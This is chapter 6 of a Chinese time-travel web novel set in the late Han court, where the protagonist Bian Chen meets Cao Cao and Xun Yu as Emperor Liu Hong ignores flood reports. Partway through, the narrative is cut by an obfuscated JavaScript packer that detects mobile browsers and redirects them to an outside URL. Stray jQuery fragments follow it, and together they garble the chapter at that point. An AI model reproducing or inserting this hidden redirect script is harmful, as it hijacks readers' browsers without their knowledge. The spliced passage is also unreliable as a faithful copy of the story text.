6. 第六章

作品:《[三国]穿成名士之后

    曹这个姓氏不算稀少,但结合眼下的时代背景,一句“曹校尉”,立即让边谌想到了曹操。


    根据史书上的时间线,王芬密谋谋反的时候,曹操已经回到洛阳,被任免为西园八校尉,与抓他们的冯方平级,一起统管西园军。


    虽然对这位曹校尉有几分好奇,但边谌只粗略地扫了一眼,便驻足并袖,参照沿途见到的其他官员的举止,行了一个士礼。


    曹校尉瞥到边谌腰间仅有的铜印,心知他只是一个俸禄刚过百石的小官,却还是停了步,回了礼。


    两人都没把这段偶遇放在心上,直到走了几段路,发现对方还走在自己身边,而两个小黄门任劳任怨地在前方领路,一齐将他们领到一座巍峨宫殿的前方。


    曹校尉终于开始郑重地打量边谌,而边谌,也通过某官员喊的“典军校尉”,确认了“曹校尉”的身份。


    这位曹校尉,还真就是曹操。


    “二位,请入殿。”


    边谌收起思绪,踏上青石制成的陛阶。


    途径丹墀,他隐隐看到刘宏在殿中央的方榻落座,另一人坐在旁侧下首的衽席上,面朝着刘宏,似在说些什么。


    一道温润清冽的男声从殿内传来,被风牵引,落入耳中。


    “有上等石砚、漆砂砚,陶砚,共计十八……”


    门边的谒者看到边谌等人,及时通禀:“陛下,曹校尉与边记室已带到。”


    昆玉般的声音蓦然停歇。


    刘宏抬头往门外投了一眼,看向角落的赵忠。


    赵忠会意,对先前出声的那人客气地说了句:


    “荀守宫稍待。”


    而后,赵忠吩咐谒者:“请二位进殿。”


    边谌与曹操被迎入殿中,各自行礼。


    刘宏看上去略显困倦,随意往下首一指:


    “二位,坐。”


    曹操率先坐下,边谌亦坦坦荡荡地坐在曹操的隔壁,并未刻意与他保持距离。


    居于首座的刘宏将这一切看在眼中,没有多言。


    赵忠揣度着刘宏的心思,对曹操与荀姓官员解释:“还差一人,请二位稍待。”


    却没有说要等谁,等的又是什么。


    适才向刘宏回话的官员姓荀名彧,是宫中的守宫令。


    他格外年轻,看上去只比边谌稍长两岁。


    边谌通过对话中提到的姓氏与官职,猜到了荀彧的身份。他暗暗将荀彧的样貌记下,继续眼观前方,魂游天外。


    没多久,殿外的谒者再次禀报。


    “禀陛下,羊太常求见。”


    边谌闲极无聊,正一边走神,一边回忆着羊肉的一千种吃法。冷不丁地听到“羊太肠”三个字,他下意识地往门边看。


    白花花的小羊并未出现,他只透过重重阻隔,看到一个约莫五十多岁,蓄发微白的官员。


    刘宏忽而蹙眉。


    作为皇帝外置嘴巴的赵忠熨帖地出声:


    “让羊太常稍待片刻。去问问,冀州刺史王芬可在殿外?”


    冀州刺史王芬?


    听到这个称谓,荀彧与曹操各自一凛,同时看向边谌。


    边谌正回想着昨日王芬的异状,冷不丁感受到两道似有若无的打量。


    等抬起头,找到视线的来源,边谌:……


    都说聪明人能通过蛛丝马迹嗅到线索,这两个三国中鼎鼎有名的聪明人,究竟是嗅到了什么,竟能通过赵忠那短短的一句话,默契地打量他?


    不知道该做什么反应,边谌朝曹操与荀彧颔首,将注意力转向殿外。


    见他如此从容,曹操、荀彧二人各有考量,悄然移开目光。


    先前的谒者大约是去小黄门那询问消息,片刻后才折返:“禀陛下,王刺史感染风寒,正卧病在床。未免病气四散,传令宫人已让王刺史留在住所,先一步回来复命。”


    王芬病了?


    边谌眸光一凝,几丝忧虑浮上心头,又很快烟消云散。


    刘宏意味不明地皱眉,透过摇曳的灯火,看向门外那道衣影:“让羊太常进来吧。”


    不多时,姓羊的官员入内,刻着龟钮的金印被紫色的绶带缠绕,在腰间轻轻晃动。


    他低头,并袖,俯身,朝刘宏行礼,有别于其他文官的二梁冠笔直伫立,因为这一礼而现出全貌。


    “拜见陛下。”


    “羊太常找朕,可是有要事禀报?”


    “回陛下,琅琊、东海、安平大水,江河决口,淫雨伤稼……”


    羊太常在汇报本年的水灾,涉及徐州、青州、冀州多个地域。


    这本是一件格外严峻,格外紧迫的事,刘宏却听得心不在焉。


    大约是觉得羊太常说得太久,还没到半刻钟的时间,刘宏就出声打断:


    “行了,羊卿,这不是你的差使。你只需守好礼仪典章。赈灾之事,交给张济、张温便可。”


    张济与张温,是刚上任的司空与大司农。


    边谌回想王芬昨天说过的话,对他谋反的动机更多了几分理解。


    固然十常侍只手遮天、欺上瞒下,对于灾情、兵乱等事,一瞒再瞒、一拖再拖。


    可就算十常侍清正廉洁、恪尽职守、上达天听,有这样一个不务正业的皇帝与龙蛇混杂的朝廷,各地的灾患真的能顺利平息吗?


    他们这位陛下,在史载上声名狼藉,被评价为昏庸无德,实际上也确实没有明君或者守成之君的模样。


    外有黄巾余部起事、自然灾害肆虐;内有外戚宦官争权、世家豪族夺利。


    这位仍然握着皇权,能左右许多人生死的皇帝,却在因为一个“不知是否为真”,就算为真也最终“未遂”的谋反,派遣大军把两个冀州官员抓来,百般试探……宁可在这薛定谔的谋反定罪中耗费大量时间,也不愿听官员谈论灾情大事。


    有这样的执权者在,大汉果真要完蛋了。


    守宫令荀彧起身行礼:“陛下容禀。水潦之灾,关于万千民众的性命,乃社稷之危,当慎之。”


    荀彧没有直接指出皇帝的轻忽态度,但“当慎之”三个字,已经算是一句重话。


    不等刘宏流露出不悦,典军校尉曹操同样起身行礼:


    “陛下,关于灾情一事,臣有一些想法。”


    曹操毕竟是刘宏刚设置的西园军的统帅之一,算是他的心腹,又是先任大长秋曹腾之孙。


    在没有冒犯皇帝的前提下,于情于理,刘宏都该给他一个体面。


    “曹卿直言无妨。”


    接着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187236|196912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,曹操开始“铺陈排比”、“骈散结合”地阐述自己的观点。


    与其说是在呈报,倒不如说是在写赋。


    边谌:……


    他听得头大,倒是刘宏,目露兴味,似乎被曹操这不走寻常路的呈报吸引了心神。


    也对,据说这位陛下喜好辞赋、书法等艺术性较强的东西,甚至以此为基础,创立了鸿都门学。


    曹操作为建安文学的引流者,三曹之一,他的文才水平自然非常优秀。


    这也算是另类的专业对口、投其所好了。


    边谌想起了高中那三年被文言文阅读支配的恐惧,想起了《滕王阁序》《阿房宫赋》全文背诵的惊悚。


    然而为了生存,他只能克服心中的抗拒,努力分析曹操这段话的内容。


    除去前面的铺垫,曹操大概表达了三个意思。


    首先,要安民心,借调隔壁一些未受灾的官府的存粮。受灾地区,可适当地解开“驰、山、泽之禁”。


    其次,要征派地方军队,积极救灾,并向地方豪族“借粮”。


    最后,设置灾情时期的特殊法令,严厉禁止富户囤粮抬价。各郡县的官员与豪族如果违反赈灾法令,或者阳奉阴违,必然革职严查,甚至流放、斩首,牵连全族。


    边谌将曹操的观点捋了一遍,在心中摩挲着下巴。


    第一条的“调粮解禁”,沿用了西汉初年休养生息的政策。特殊时期,当然得特殊行事。


    至于第二条与第三条……


    乱中用重典,政策本身倒没什么问题。


    只是黄巾之乱后,中央权力下方,掌控力与权威飞速下滑,现在的中央,还能顺利地用“重典”压制地方吗?


    还有“借粮”什么的,地方豪族可不是小白兔,这看似简单的借粮,或许才是最艰难的一环。


    边谌思绪转了两圈,最终松开微蹙的眉梢。


    曹操既然能提出这个策略,就代表他眼中的困难在曹操眼里根本算不得什么,必定有解决的办法。


    而且,曹操早年遏制权贵、压制地方乱象的履历可是非常丰富,后期更是拳打诸侯、脚踢世家的一代枭雄。


    这种活在大气层的聪明人自然能预见其中的隐患,采用各种办法解决,他又在这担心什么呢?


    想通了这些,边谌重新放松下来,只当自己是一座石雕,安静地在殿中乘凉。


    然而,边谌想当路人,主座上那位喜欢搞事的大老板并不想放过他。


    在绘了黑白斧纹的屏风前,刘宏支着肘,倚着案坐着。在半推半就地听完曹操即兴创作的“汉赋”后,他像是突然来了兴致,直起身,看向次座的边谌。


    “边郎可有什么见解?”


    刘宏说得慢条斯理,声音不重,却清晰地传入每一个人的耳中。


    “其中一个受灾地,安平,是在冀州吧?你是冀州的官员,想来,应当早就洞悉灾情,驾轻就熟?”


    边谌:……


    好端端地坐着,灾祸就从天而降。这都叫什么事。


    感受着四周再次聚集的视线,边谌暗暗吐槽了一句。


    见解么,本来没有,刘宏开口后,马上就有了。


    “想要‘磨刀霍霍向君王’”,这算不算独到的见解?